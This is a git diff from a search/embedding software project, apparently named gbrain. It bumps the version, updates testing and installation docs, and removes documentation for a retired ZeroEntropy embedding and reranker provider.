- [ ] **NEW-2 (P2) — Cycle-phase wrappers beyond lint + backlinks.** 7 more phases need result-mapping coverage: sync, extract, embed, orphans, extract_facts, resolve_symbol_edges, recompute_emotional_weight. Each adds a describe block to `test/cycle-legacy-phases.test.ts` following the established pattern. ~30min/phase with CC. Mechanical follow-through.
- [ ] **NEW-3 (P2) — HTTP-level trust-boundary test that proves serve-http.ts honors the filter at runtime.** v0.40.8.0 ships the source-grep guard at `scripts/check-operations-filter-bypass.sh` plus structural assertions in `test/operations-trust-boundary.test.ts`. The codex CMT-3 strongest defense — runtime proof that a register-OAuth-client → attempt-call-every-localOnly-op flow rejects every one — would extend `test/e2e/serve-http-oauth.test.ts`. Real Postgres dep, ~30s wallclock per case. Closes the bypass class with runtime proof in addition to the existing structural defense.
- [ ] **NEW-4 (P3) — Render function extraction from runDoctor.** v0.40.8.0 uses a subprocess smoke at `test/doctor-cli-smoke.serial.test.ts` to cover the wrapper's render + exit paths. Pulling the human + JSON render code out into pure formatters would let that smoke move back into the parallel fast loop with no subprocess overhead. ~2h CC. Lower priority — the subprocess smoke does its job; this is a wallclock win, not a coverage win.
@@ -5627,7 +5581,7 @@ contributor traps.
## Pre-existing flake on master (noticed during v0.40.4 ship)
-- [x] **`test/search/embedding-column.test.ts:466,489,522` — `isCacheSafe` returns false when run after gateway-state-mutating siblings in shard 2.** DONE: closed by option (c) — the file was renamed to `test/search/embedding-column.serial.test.ts` in `ca68633f` (v0.41.2.0), giving it its own bun process; entry left open pointed at a filename that no longer exists. If the file is ever un-quarantined, add `beforeEach(() => resetGateway())` (NOT `__unconfigureGatewayForTests` — that falls through to the ZE/1280 defaults; `resetGateway` re-applies the preload's OpenAI/1536 baseline). Original filing: Confirmed pre-existing on master (`git stash` + `SHARD=2/8 bash scripts/run-unit-shard.sh` reproduces 3 fails on a clean working tree). Symptom: `isCacheSafe(default-named-column, empty-cfg)` expects `gwDims=1536` but reads `1280` (the post-v0.37.11.0 ZeroEntropy default). Some test in the shard before embedding-column.test.ts initializes the gateway with the PGLite-default ZeroEntropy/1280 config and leaves it that way. Either: (a) embedding-column.test.ts grows a `beforeEach` that calls `__setEmbedTransportForTests`-style reset, (b) the offending sibling adds an `afterAll(reset)`, or (c) embedding-column.test.ts becomes `*.serial.test.ts` to quarantine. Three test files in shard 2 touch gateway state via PGLite engine connects: `restart-sweep.test.ts`, `init-mode-picker.test.ts`, `doctor.test.ts`. Tests pass in isolation (50/50); only fail under shard-2 ordering. v0.40.4 ships through this flake — not introduced by the wave.
+- [x] **`test/search/embedding-column.test.ts:466,489,522` — `isCacheSafe` returns false when run after gateway-state-mutating siblings in shard 2.** DONE: closed by option (c) — the file was renamed to `test/search/embedding-column.serial.test.ts` in `ca68633f` (v0.41.2.0), giving it its own bun process; entry left open pointed at a filename that no longer exists. If the file is ever un-quarantined, add `beforeEach(() => resetGateway())` (NOT `__unconfigureGatewayForTests` — that falls through to the retired provider/1280 defaults; `resetGateway` re-applies the preload's OpenAI/1536 baseline). Original filing: Confirmed pre-existing on master (`git stash` + `SHARD=2/8 bash scripts/run-unit-shard.sh` reproduces 3 fails on a clean working tree). Symptom: `isCacheSafe(default-named-column, empty-cfg)` expects `gwDims=1536` but reads `1280` (the post-v0.37.11.0 retired hosted provider default). Some test in the shard before embedding-column.test.ts initializes the gateway with the PGLite-default retired hosted provider/1280 config and leaves it that way. Either: (a) embedding-column.test.ts grows a `beforeEach` that calls `__setEmbedTransportForTests`-style reset, (b) the offending sibling adds an `afterAll(reset)`, or (c) embedding-column.test.ts becomes `*.serial.test.ts` to quarantine. Three test files in shard 2 touch gateway state via PGLite engine connects: `restart-sweep.test.ts`, `init-mode-picker.test.ts`, `doctor.test.ts`. Tests pass in isolation (50/50); only fail under shard-2 ordering. v0.40.4 ships through this flake — not introduced by the wave.
## v0.40.4 graph signals — deferred follow-ups (v0.41+)
diff --git a/VERSION b/VERSION
index 01a30a8318..cbf49b916d 100644
--- a/VERSION
+++ b/VERSION
@@ -1 +1 @@
-0.56.1.0
+0.56.2.0
diff --git a/bunfig.toml b/bunfig.toml
index 1c9dec1d60..c2b4af8762 100644
--- a/bunfig.toml
+++ b/bunfig.toml
@@ -10,7 +10,7 @@ timeout = 60_000
# v0.37 fix wave: pin gateway defaults to legacy OpenAI/1536 BEFORE any
# test runs, so the 20+ test files with hardcoded 1536-d Float32Array
-# fixtures still match the schema. v0.37's production default is ZE/1280;
+# fixtures still match the schema. The production default is Voyage/1024;
# tests that want the new default call configureGateway() explicitly in
# their own beforeAll.
#
diff --git a/docs/INSTALL.md b/docs/INSTALL.md
index 28853c8765..b10bb50806 100644
--- a/docs/INSTALL.md
+++ b/docs/INSTALL.md
@@ -111,7 +111,7 @@ calmly and memory comes from agent-authored `## Facts` fences and the
For the autopilot daemon specifically, keys and process-level env (`NODE_EXTRA_CA_CERTS`, proxy vars, custom base URLs) belong in `~/.gbrain/env` — a 0600 file created by `gbrain autopilot --install` and sourced by the daemon wrapper (interactive shell rc files never reach daemon shells; the path honors `GBRAIN_HOME`). Re-run `gbrain autopilot --install` after editing it so the daemon reloads.
-`ZEROENTROPY_API_KEY` is still honored but deprecated — the ZeroEntropy hosted API shuts down 2026-09-04. Off-ramp: the agent playbook at [`skills/migrations/v0.46.3.0.md`](../skills/migrations/v0.46.3.0.md) (one command migrates embeddings + reranker) with the full reference in [`docs/guides/embedding-migration.md`](guides/embedding-migration.md).
+To change an existing brain's embedding provider, follow the explicit-consent playbook at [`skills/migrations/v0.46.3.0.md`](../skills/migrations/v0.46.3.0.md), with the full reference in [`docs/guides/embedding-migration.md`](guides/embedding-migration.md). Preview the work and cost before approving a migration; do not repoint existing vectors at a different model.
Common follow-ups:
diff --git a/docs/TESTING.md b/docs/TESTING.md
index 69742de9e0..89a892c153 100644
--- a/docs/TESTING.md
+++ b/docs/TESTING.md
@@ -173,6 +173,24 @@ pass before publication. The native macOS 26.2 smoke is not macOS 27
certification, and Linux fault injection is not a full native Windows backup
create/restore test.
+The glibc Linux, macOS and Windows matrix also runs
+`persistence-publication-native.serial.test.ts`,
+`persistence-git-publication.test.ts`,
+`persistence-sync-origin-native.serial.test.ts` and
+`backup-portability-native.serial.test.ts` in separate Bun processes. These
+exercise real Git publication, historical source origins and backup restoration
+with fresh-process reopen. macOS and Windows set
+`GBRAIN_TEST_REQUIRE_CASE_INSENSITIVE=1`; a case-sensitive fixture must fail
+rather than silently skip the publication regression. Inspect executed test
+counts before claiming native coverage; a configured lane alone is not evidence.
+
+The publication, sync-origin, processing-option and company-sync suites also
+run separately with an explicit PostgreSQL URL in the persistence deployment
+matrix. `test/e2e/persistence-publication-parity.test.ts` and
+`test/e2e/persistence-sync-{origin,options,company}-parity.test.ts` include them
+in the full local E2E gate; the keyless serial runner alone cannot exercise
+their PostgreSQL branches.
+
The OpenClaw 2026.9.4 / Node 24.18.0 native-host fixture proves plugin startup,
restarted-turn saved-page pointer retrieval and same-slug source isolation with
a deterministic loopback provider:
@@ -332,10 +350,14 @@ The required persistence lane also runs `scripts/persistence/performance.ts`
on both engines and Bun versions. Three independent instances use the
existing 500-page/200-query read-latency corpus, with public `put_page`
mutations and actual in-flight interval coverage of at least 90%. Any read
-or write failure invalidates the sample. Median loaded p99 must be at most
-1.5 times median idle p99 on the same runner. Manifests retain each sample,
-admission/commit latency, queue age, RSS, recovery bytes and pool activity.
-The original heavy shell entry invokes this harness; its optional strict
+or write failure invalidates the sample. CI uses `--informational`: the 50%
+loaded-versus-idle p99 threshold is advisory, not a merge blocker. Loaded
+reads compete with additional write work, so this ratio alone is not evidence
+of a change regressing the same workload. Manifests retain the original
+threshold verdict, each sample, admission/commit latency, queue age, RSS,
+recovery bytes and pool activity.
+The CLI without `--informational` still enforces the threshold. The original
+heavy shell entry invokes this harness; its optional `STRICT_LATENCY=1`
flag affects only the latency threshold, never validity requirements.
### PGLite schema snapshot (default-on)
@@ -660,7 +682,7 @@ Triage rule: a `warn-pass` EXIT-HANG line in `.context/test-summary.txt` is NOT
- `*.test.ts` → fast loop (parallel up-to-4-shard fan-out, memory-adaptive).
- `*.slow.test.ts` → run via `bun run test:slow` only (intentional cold-path tests; would dominate the fast loop's wallclock).
- `*.serial.test.ts` → run via `bun run test:serial` after the parallel pass completes; one bun process per file (`--max-concurrency=1` within a shared process is not enough — the module registry still leaks `mock.module`), with those per-file processes POOLED (per-process isolation never required one-at-a-time execution). Files touching machine-global state (launchd/cron) live on the sequential `EXCLUSIVE_FILES` lane inside `scripts/run-serial-tests.sh` — growth-guarded to ≤3 entries with justification comments. Quarantine for tests that share file-wide state and race when run alongside other files in the same `bun test` process. Several dozen files, discovered by the `*.serial.test.ts` glob — no list to maintain. Typical residents: `mock.module(...)` users (top-level mocks leak across files in a shard process, e.g. `test/embed.serial.test.ts`), env-coupled files (e.g. `test/brain-registry.serial.test.ts`), and process-lifecycle suites that assert on `process.exitCode` (e.g. `test/pglite-engine-disconnect.serial.test.ts`). **Do not put the parallelism back on a serial file unless you've fixed the contention root cause** (it just re-introduces the flake).
-- `test/e2e/*.test.ts` → real-Postgres E2E. Skipped when `DATABASE_URL` is unset. One out-of-directory file rides this lane: `test/phantom-redirect-engine-parity.test.ts` (lives in `test/` for its PGLite arm, but its Postgres arm is only reachable through a DATABASE_URL-bearing lane — the unit wrappers strip the URL, so `run-e2e.sh`'s no-args list and CI's parity job carry it). `run-e2e.sh` wraps each file in a hard outer timeout (default 180s; `GBRAIN_E2E_FILE_TIMEOUT=<seconds>` overrides) because a synchronously-blocking PGLite WASM call can outlive bun's timer-based `--timeout`; LLM-bound Tier-2 files (`skills.test.ts`, `zeroentropy-live.test.ts`) automatically get 4× the cap since real provider round-trips legitimately run past 180s.
+- `test/e2e/*.test.ts` → real-Postgres E2E. Skipped when `DATABASE_URL` is unset. One out-of-directory file rides this lane: `test/phantom-redirect-engine-parity.test.ts` (lives in `test/` for its PGLite arm, but its Postgres arm is only reachable through a DATABASE_URL-bearing lane — the unit wrappers strip the URL, so `run-e2e.sh`'s no-args list and CI's parity job carry it). `run-e2e.sh` wraps each file in a hard outer timeout (default 180s; `GBRAIN_E2E_FILE_TIMEOUT=<seconds>` overrides) because a synchronously-blocking PGLite WASM call can outlive bun's timer-based `--timeout`; LLM-bound Tier-2 files (`skills.test.ts`) automatically get 4× the cap since real provider round-trips legitimately run past 180s.
- `tests/heavy/*.sh` → ops-shape shell scripts. Cost minutes per run; NOT in default `bun test`. Run via `bun run test:heavy` or scheduled nightly via `.github/workflows/heavy-tests.yml`. Examples: pg_upgrade matrix (boot legacy brain → walk to head), RSS budget gate (measure peak worker RSS vs committed baseline), read-latency-under-sync (p50/p95/p99 under concurrent writer load), sync lock regression (N concurrent syncs assert 1 winner + N-1 lock-busy + zero leaked `gbrain_cycle_locks` rows). See `tests/heavy/README.md` for when to add a script here vs `*.slow.test.ts`. Files prefixed with `_` (e.g. `tests/heavy/_build_legacy_fixtures.sh`) are helpers/libs invoked by sibling tests — the runner skips them.
- `test/fuzz/*.test.ts` → property-based fuzz harness. Pure-validator targets in `pure-validators.test.ts` are guarded by `scripts/check-fuzz-purity.sh` (in `bun run verify`), which `bun build --target=bun` bundles each target and greps the resulting bundle for banned transitive imports (`node:fs`, `node:child_process`, engine modules). Anything that fails the guard moves to `mixed-validators.test.ts` (still property-tested, but no purity guarantee) or `filesystem-validators.test.ts` (fs-backed, uses temp dirs). Fuzz tests run in the default `bun test` loop because they're fast (~3s for ~12 properties × 1000 runs each).
@@ -1067,15 +1089,14 @@ Unit tests and what they cover:
- `test/jobs-embed-stall-wiring.serial.test.ts` — the stall contract at the minion boundary: an embed job whose core result carries `reason: 'stall_timeout'` THROWS (job marked failed, banked progress in the message); a clean result resolves with the embed report.
- `test/embed.serial.test.ts` — `runEmbedCore` lifecycle on PGLite with `mock.module` seams: abort-signal threading, the stall-watchdog arc against the real lock table (stall fires → single-flight locks released + summary flushed + `reason: 'stall_timeout'` surfaces; non-CLI callers get the error RESULT, no process exit; live progress keeps the watchdog quiet), cleanup aborting an in-flight heartbeat refresh, and the heartbeat tick-timeout arc (a never-settling refresh times out per tick via `GBRAIN_EMBED_LOCK_HEARTBEAT_TIMEOUT_MS`; 3 consecutive failures → `lock_lost` + drain abort).
- `test/handlers-embed-backfill.test.ts` — the `embed-backfill` job handler's budget-cap classification matrix: default cap dropped for unpriced models, `pricing.overrides` restores enforceability, `off` uncaps, explicit caps fail closed on unpriced models (incl. an explicit $10 equal to the default), the defaulted cap still enforces for priced models, a present-but-garbage cap value keeps the $10 default FAIL-CLOSED (never droppable), and the handler-lane stall watchdog (a wedged drain aborts and fails the job).
-- `test/rerank-sunset-short-circuit.serial.test.ts` — the post-sunset gateway short-circuit: effective-model resolution (absent per-call model → configured/legacy default), the before/on/after date matrix via the injected clock, live models and `base_urls` self-host overrides untouched, the ONE-audit-row-per-process-per-model + single stderr line contract, and `applyReranker` failing open with no per-query audit rows.
-- `test/ai/reranker-readiness.test.ts` — the pure `rerankerReadiness` predicate: the default Voyage model with and without the key (the fix names the key AND the disable command; an empty-string key counts as absent), an explicit ZeroEntropy model across the sunset clock (sunset outranks a missing key in the fix text; a `provider_base_urls` self-host override lifts the block; mixed-case / slash-form ids are still recognized), shape failures that never throw (unknown provider, no reranker touchpoint, unlisted model, keyless local recipe, garbage input), and agreement with `gateway.isAvailable('reranker', model)` on an env × model matrix (the post-sunset divergence is the one intended exception).
-- `test/rerank-no-key.serial.test.ts` — the gateway `no_key` preflight: `RerankError('no_key')` before any HTTP call, ONE audit row per process per model with no stderr line, the per-model memo and its test seam, sunset precedence over `no_key`, no budget reservation for a skipped rerank (and `BudgetExhausted` before the transport call when the key IS present), HTTP 401 staying `auth`; plus `applyReranker` on `no_key` — results unchanged, no per-query rows, `onSkip` fires, a throwing hook never breaks search, and genuine failures never fire it.
+- `test/ai/reranker-readiness.test.ts` — the pure `rerankerReadiness` predicate: the default Voyage model with and without the key (the fix names the key AND the disable command; an empty-string key counts as absent), shape failures that never throw (unknown provider, no reranker touchpoint, unlisted model, keyless local recipe, garbage input), and agreement with `gateway.isAvailable('reranker', model)` on an env × model matrix.
+- `test/rerank-no-key.serial.test.ts` — the gateway `no_key` preflight: `RerankError('no_key')` before any HTTP call, ONE audit row per process per model with no stderr line, the per-model memo and its test seam, no budget reservation for a skipped rerank (and `BudgetExhausted` before the transport call when the key IS present), HTTP 401 staying `auth`; plus `applyReranker` on `no_key` — results unchanged, no per-query rows, `onSkip` fires, a throwing hook never breaks search, and genuine failures never fire it.
- `test/hybrid-reranker-skipped.serial.test.ts` — balanced search on PGLite without `VOYAGE_API_KEY`: `reranker_skipped (no_key)` stamped on the meta with results kept and nothing printed, fresh searches retain the stamp while shared result caching stays disabled with no cache writes even when requested, and with the key present the reranker runs (`rerank_score` stamped, no skip entry).
- `test/degraded-stages-recall.test.ts` — `affectsRecall` / `RANKING_ONLY_DEGRADED_STAGES`: `reranker_skipped` is ranking-only, every other closed-vocabulary stage affects recall, and a mixed list is degraded iff a recall-affecting stage is present.
- `test/cli-explain-degraded-render.test.ts` — `formatResult --explain` threads the captured retrieval meta: a `reranker_skipped` stamp renders as the degraded header, a clean run prints no header, and the plain (non-explain) renderer is unchanged.
-- `test/doctor-reranker-health.test.ts` — the readiness-aware `reranker_health` check: key absent → warn naming the key and the disable command; key present → ok "ready"; disabled by config row or by the conservative bundle → ok; `no_key` skip rows informational once ready; a DB-plane key the CLI folded into the gateway counts; the no-gateway fallback to env > file > DB plane; unknown model, post-sunset ZE (injected clock), self-host override and `auth` rows; a brain with no embedding provider is never blamed; audit rows for a sunset model never warn on the live default.
+- `test/doctor-reranker-health.test.ts` — the readiness-aware `reranker_health` check: key absent → warn naming the key and the disable command; key present → ok "ready"; disabled by config row or by the conservative bundle → ok; `no_key` skip rows informational once ready; a DB-plane key the CLI folded into the gateway counts; the no-gateway fallback to env > file > DB plane; unknown model, self-host override and `auth` rows; a brain with no embedding provider is never blamed; audit rows for another model never warn on the active default.
- `test/modes-report-reranker.test.ts` — `buildModesReport` attributes the five reranker knobs, the readiness block flips on the key, config overrides are reflected; `formatModesText` prints the runtime `Reranker:` line plus the per-bundle `reranker=… autocut=…` line and surfaces a gateway base-URL override as `self_hosted`; `redactReadinessForRemote` strips `required_key` / `key_present` / `fix` and keeps the verdict.
-- `test/init-reranker-default.test.ts` — `writeNewInstallRerankerDefault`: a Voyage key present → no write regardless of embedding pick; a keyed non-Voyage pick without the key → explicit `search.reranker.enabled=false` (a ZeroEntropy pick included); a keyless install → no write; a Voyage key that lives only in the DB config plane or only in `config.json` counts; never-clobber on an existing explicit row.
+- `test/init-reranker-default.test.ts` — `writeNewInstallRerankerDefault`: a Voyage key present → no write regardless of embedding pick; a keyed non-Voyage pick without the key → explicit `search.reranker.enabled=false`; a keyless install → no write; a Voyage key that lives only in the DB config plane or only in `config.json` counts; never-clobber on an existing explicit row.
- `test/import-abort-error.test.ts` — `runImport` preflight/argv failures throw typed `ImportAbortError` instead of exiting the process; the calling process survives the abort.
- `test/lint-fix-single-pass.test.ts` — `gbrain lint --fix` walks the tree once and `total_fixed` reports the fixes THIS run applied.
- `test/snapshot-shape-guard.test.ts` — PGLite snapshot loader refusal matrix: shape-less version files, dims/model mismatches, and stale schema hashes are all refused; matching hash + shape loads; a migration-handler edit changes the hash.
diff --git a/docs/UPGRADING_DOWNSTREAM_AGENTS.md b/docs/UPGRADING_DOWNSTREAM_AGENTS.md
index a361988fe8..638039f9a9 100644
--- a/docs/UPGRADING_DOWNSTREAM_AGENTS.md
+++ b/docs/UPGRADING_DOWNSTREAM_AGENTS.md
@@ -5,10 +5,10 @@
> migration files that `gbrain upgrade` / `gbrain post-upgrade` route through),
> plus `CHANGELOG.md` for release history. Use this file to catch a
> long-diverged fork up through the versions it covers; for anything after
-> v0.36.5.0, walk the migration files and CHANGELOG. Time-critical: the
-> ZeroEntropy hosted-API shutdown (2026-09-04) — every fork still embedding or
-> reranking through `zeroentropyai:*` must run `skills/migrations/v0.46.3.0.md`
-> before that date.
+> v0.36.5.0, walk the migration files and CHANGELOG. For an unsupported
+> embedding provider, follow `skills/migrations/v0.46.3.0.md`: inspect the
+> brain, preview a supported target and obtain explicit approval before any
+> schema change or paid re-embed. Upgrading alone does not migrate vectors.
GBrain ships skills in `skills/`. Downstream agents (custom OpenClaw deployments,
agent forks of any kind) often **copy** these skill files into their own workspace and
@@ -642,4 +642,3 @@ job + `inherit:` for `localOnly` admin ops (`sync`, `embed`, `dream`,
| `shell: inherit entries must be non-empty strings` | Element was empty, non-string, or null. | Use snake_case config-key names. |
| `shell: inherit name "<X>" must match [a-z][a-z0-9_]*` | Name failed snake_case regex (uppercase, leading underscore, etc.). | Use the config-key verbatim — `database_url`, not `DATABASE_URL`. |
| `shell: inherit requested "<X>" but worker has no <X> configured` | Worker can't resolve the name from its `loadConfig()`. | Run `gbrain config set <X> <value>` on the worker host. |
-
diff --git a/docs/ai-providers/llama-server-reranker.md b/docs/ai-providers/llama-server-reranker.md
index a502464556..1e67c548c4 100644
--- a/docs/ai-providers/llama-server-reranker.md
+++ b/docs/ai-providers/llama-server-reranker.md
@@ -1,34 +1,27 @@
-# llama-server reranker (local) — Qwen3-Reranker, self-hosted ZE, any ZE-wire-shape provider
+# llama-server reranker (local) — Qwen3-Reranker and compatible endpoints
[`llama-server`](https://github.com/ggml-org/llama.cpp/blob/master/tools/server/README.md)
is the HTTP wrapper that ships with llama.cpp. With `--reranking`, it
exposes an OpenAI-style `POST /v1/rerank` endpoint that returns
`{results: [{index, relevance_score}]}` — exactly the wire shape gbrain
-already drives for ZeroEntropy's hosted reranker. The
+supports for cross-encoder rerankers. The
`llama-server-reranker` recipe routes
-`gateway.rerank()` at your local llama.cpp instance instead of ZE.
+`gateway.rerank()` at your local llama.cpp instance.
-Two flavors of "local" this recipe covers:
+One supported local model family:
- **Qwen3-Reranker** (0.6B / 4B / 8B) — open-weight cross-encoder. Qwen
publishes official GGUFs for its EMBEDDING models but not for the
rerankers, so pull a community GGUF conversion from HuggingFace (or
convert the official weights yourself) and serve.
-- **Self-hosted ZeroEntropy** (`zerank-2`, `zerank-1-small`) — the
- weights are on HuggingFace too. GGUF-convert them and serve them the
- same way. **Quality is not guaranteed to match ZE-hosted:** GGUF
- conversion + quantization + pooling/rank metadata + tokenizer special
- tokens all affect scores. If you self-host ZE for production
- retrieval, pin your own brain-relevant eval (
- [docs/eval-bench.md](../eval-bench.md)) as a regression guard.
This recipe is the path override + recipe shape. Any provider whose
-request/response wire matches ZE/llama.cpp can use it by just pointing
+request/response wire matches llama.cpp can use it by just pointing
at a different base URL. A provider whose request differs only in the
top-N key declares it via the recipe's `top_param` — that's how the
hosted Voyage reranker recipe (`voyage:rerank-2.5`, the new-install
default, `top_k`) works. On the response side the gateway parser accepts
-both known array keys (`results[]` for ZE/llama.cpp, `data[]` for
+both known array keys (`results[]` for llama.cpp, `data[]` for
Voyage's REST — the shared item shape is `{index, relevance_score}`);
a genuinely different item shape needs its own recipe with adapter hooks.
@@ -66,10 +59,6 @@ huggingface-cli download \
Prefer official provenance? Convert the real `Qwen/Qwen3-Reranker-4B`
weights yourself with llama.cpp's `convert_hf_to_gguf.py`, then quantize.
-For self-hosted ZeroEntropy weights, find a community GGUF conversion
-or convert from the HuggingFace weights yourself (out of scope of this
-doc — see llama.cpp's `convert_hf_to_gguf.py`).
-
### 3. Launch llama-server with --reranking AND --alias
```bash
diff --git a/docs/ai-providers/zeroentropy.md b/docs/ai-providers/zeroentropy.md
deleted file mode 100644
index 54eb1036de..0000000000
--- a/docs/ai-providers/zeroentropy.md
+++ /dev/null
@@ -1,205 +0,0 @@
-# ZeroEntropy — zembed-1 + zerank-2 (DEPRECATED)
-
-> **DEPRECATED — hosted API shutdown: 2026-09-04.** ZeroEntropy announced
-> (2026-07-24) that its hosted endpoints — `/models/embed` and
-> `/models/rerank` — shut down on that date, and the recipe is deprecated
-> in gbrain: `gbrain init` auto-pick and the interactive picker exclude it
-> (explicit `--embedding-model zeroentropyai:*` still works, with a loud
-> warning), every ZE embed/rerank call prints a once-per-process
-> deprecation warning, `gbrain providers` annotates it DEPRECATED
-> (`gbrain providers env zeroentropyai` prints this off-ramp instead of a
-> signup link), and
-> `gbrain ze-switch` refuses or redirects on every invocation (`--undo`
-> prints the exact migrate command that returns a switched brain to its
-> prior provider).
-> The recipe is scheduled for removal in a September 2026 release. A brain still embedding through the hosted API loses semantic
-> retrieval entirely on the shutdown date: query embedding uses the same
-> endpoint, so **existing vectors become unqueryable**, not just new
-> content. Two fixes, either works:
->
-> 1. **Migrate to Voyage (recommended)** — `gbrain migrate embeddings
-> --to voyage:voyage-4 --dim 1024 --dry-run` (cost preview), then
-> `--yes`. 1280 is not a valid Voyage width (valid: 256/512/1024/2048),
-> so a 1280d brain gets a one-time schema/HNSW rebuild to 1024 — the
-> command handles it, resumable if killed. The OpenAI alternative keeps
-> the width (flexible dims): `--to openai:text-embedding-3-small --dim
-> 1280`. Reranker: `gbrain config set search.reranker.model
-> voyage:rerank-2.5` (needs `VOYAGE_API_KEY`) or `gbrain config set
-> search.reranker.enabled false`. See
-> [the migration guide](../guides/embedding-migration.md); `gbrain
-> doctor` (check `provider_sunset`) prints both commands target-aware
-> (Voyage at 1024; OpenAI keep-width when your brain's actual width is
-> valid there).
-> 2. **Self-host the same model (zero re-embed, advanced)** — zembed-1
-> weights are Apache-2.0. Keep the `zeroentropyai:zembed-1` model id
-> (the embedding signature must not change) and point its base URL at
-> your own endpoint: `gbrain config set
-> provider_base_urls.zeroentropyai <url>`. The endpoint must speak
-> **ZeroEntropy's wire dialect** (`/models/embed`, `{results: [...]}`
-> responses — the id routes through a ZE-specific compat fetch), so a
-> generic OpenAI-compatible llama-server or Ollama endpoint will NOT
-> work without a compat proxy in front. Switching the provider id
-> instead changes `pages.embedding_signature` and triggers a full
-> re-embed. This path lasts only until the recipe is deleted (scheduled
-> for a September 2026 release).
->
-> The hosted setup below remains accurate until the shutdown date.
-
-[ZeroEntropy](https://zeroentropy.dev) offers two specialized small
-models for retrieval pipelines (factual specs for existing users and
-self-hosters; this is not a recommendation):
-
-- **`zembed-1`** — multilingual embedding distilled from zerank-2.
- Flexible Matryoshka dims (2560/1280/640/320/160/80/40), 32K context,
- asymmetric `input_type: query|document` encoding.
-- **`zerank-2`** — multilingual cross-encoder reranker. Plus `zerank-1`
- and `zerank-1-small` (open-source weights).
-
-Both are wired through gbrain's openai-compatible recipe path, alongside
-OpenAI and Voyage.
-
-## Setup (existing brains and self-hosters only — do not onboard)
-
-New installs use Voyage (`gbrain init` handles it); do not create a new
-ZeroEntropy account for a provider that shuts down on 2026-09-04. A brain
-that already has a key exports it for the remaining hosted window:
-
-```bash
-export ZEROENTROPY_API_KEY=<your-existing-key>
-```
-
-## Leaving ZeroEntropy (the off-ramp)
-
-This page carries no switch-onto instructions: following them would
-strand a brain on a dead API. The maintained off-ramp is the agent
-playbook at `skills/migrations/v0.46.3.0.md`; the one command
-(embeddings + reranker in the same consented run):
-
-```bash
-gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --dry-run # cost preview
-gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --yes
-```
-
-Plane note (the reason NOT to hand-edit config for this):
-`embedding_model` / `embedding_dimensions` resolve from the **file plane**
-(`~/.gbrain/config.json`) and the **env plane** (`GBRAIN_EMBEDDING_MODEL` /
-`GBRAIN_EMBEDDING_DIMENSIONS`) — never the DB plane — because they size the
-schema. The migration command writes the right planes for you and verifies
-the database before claiming anything is done. Check state any time with
-`gbrain migrate embeddings --status`.
-
-### Re-embed
-
-The migration command drains the re-embed itself and refuses to declare
-completion until the database verifies — there is no separate embed step
-on the off-ramp path. If a run is killed mid-drain, `gbrain migrate
-embeddings --status` prints the exact resume command. Self-hosters keeping
-`zeroentropyai:zembed-1` via `provider_base_urls` re-embed nothing (the
-embedding signature is unchanged).
-
-### Verify
-
-```bash
-gbrain migrate embeddings --status
-```
-
-Read-only and spend-free: reports every config plane, actual column
-widths, the NULL-vector and signature censuses, the in-flight marker, and
-the last completion's smoke-check outcome. Step 5 of the playbook
-(`skills/migrations/v0.46.3.0.md`) walks the full DB-verified check.
-
-## Reranker switch — zerank-2
-
-gbrain's cross-encoder reranker stage slots between RRF dedup and
-token-budget enforcement in hybrid search.
-
-### Default-on with `balanced` and `tokenmax` modes
-
-The `balanced` and `tokenmax` mode bundles default
-`search.reranker.enabled = true`. The bundle default MODEL is
-`voyage:rerank-2.5`; a ZeroEntropy reranker runs only when
-`search.reranker.model` is explicitly set to `zeroentropyai:zerank-*` (with
-`ZEROENTROPY_API_KEY`), and on/after 2026-09-04 the gateway skips that dead
-hosted call before any HTTP (one audit row per process, one stderr line
-naming the switch command). Without the provider key for whichever reranker
-is resolved, every rerank call fails open (one `no_key` audit row per process,
-no stderr) and search returns RRF order, with the skip visible in
-`gbrain search --explain`, `gbrain search modes` and `gbrain doctor`.
-
-### Enabling reranking today
-
-`gbrain config set search.reranker.enabled true` is enough on a brain that
-never set `search.reranker.model`: the bundle default resolves
-to `voyage:rerank-2.5` (needs `VOYAGE_API_KEY`; without it search fails open
-in RRF order and `gbrain search modes` says so). Set `search.reranker.model`
-first only when you want a different reranker — an explicit
-`zeroentropyai:zerank-*` value works with `ZEROENTROPY_API_KEY` until
-2026-09-04, then the gateway short-circuits it.
-
-### Verify
-
-```bash
-gbrain models doctor --json | jq '.probes[] | select(.touchpoint=="reranker_config")'
-```
-
-Two probes run for reranker:
-- `reranker_config` (zero-network) — validates the model resolves
- through the recipe registry and is in the touchpoint's allowlist.
-- A reachability probe sends a minimal `{query: "probe", documents:
- ["probe"]}` rerank to verify auth + URL.
-
-## Knobs reference
-
-| Config key | Default | Notes |
-|---|---|---|
-| `search.reranker.enabled` | `true` for balanced/tokenmax, `false` for conservative | One-flip opt-in/out |
-| `search.reranker.model` | `voyage:rerank-2.5` (bundle default) | Set `zeroentropyai:zerank-2` explicitly only for a self-hosted wire-compatible endpoint; the hosted API ends 2026-09-04 |
-| `search.reranker.top_n_in` | per mode: `30` conservative / `25` balanced / `50` tokenmax (tracks each bundle's `searchLimit`) | Candidates sent to reranker (caps API spend) |
-| `search.reranker.top_n_out` | `null` (no truncate) | Truncate reranked output to this many; `null` preserves full length |
-| `search.reranker.timeout_ms` | `5000` | HTTP timeout; long stalls degrade UX worse than RRF fallback |
-
-## Failure observability
-
-Reranker is fail-open by construction: every error class (auth, rate-limit,
-network, timeout, payload-too-large, unknown) returns the original RRF
-order unchanged. Failures log to
-`~/.gbrain/audit/rerank-failures-YYYY-Www.jsonl` (ISO-week rotation).
-
-`gbrain doctor` reads the audit and surfaces:
-- **auth failures** — any single one warns (config-time problem doctor's
- own probe should have caught)
-- **payload-too-large** — any single one warns (workload-mismatch signal)
-- **transient (network/timeout/rate_limit)** — warns at >=5 in 7 days
-
-Query text is SHA-256 hashed in the audit; never logged raw.
-
-## Asymmetric input_type
-
-ZE zembed-1 (and Voyage v3+) use asymmetric query/document encoding for
-better retrieval. The gateway's `embedQuery(text)` companion threads
-`input_type: 'query'`; standard `embed(texts)` defaults to
-`'document'`. Hybrid search's two query-side embed sites use
-`embedQuery()` automatically; all ingest paths use `embed()`.
-
-Symmetric providers (OpenAI text-embedding-3, fixed-dim Voyage models)
-ignore the field — no behavior change.
-
-## Cache key versioning
-
-The retained `KNOBS_HASH_VERSION` machinery (`src/core/search/mode.ts`)
-includes reranker config in `query_cache.knobs_hash`, separating rows written
-under different settings. Semantic result-cache reads and writes are currently
-disabled, so repeated queries perform fresh retrieval and do not repopulate
-those rows. Changing the hash version, TTL or cache setting cannot restore
-result caching while it is disabled.
-
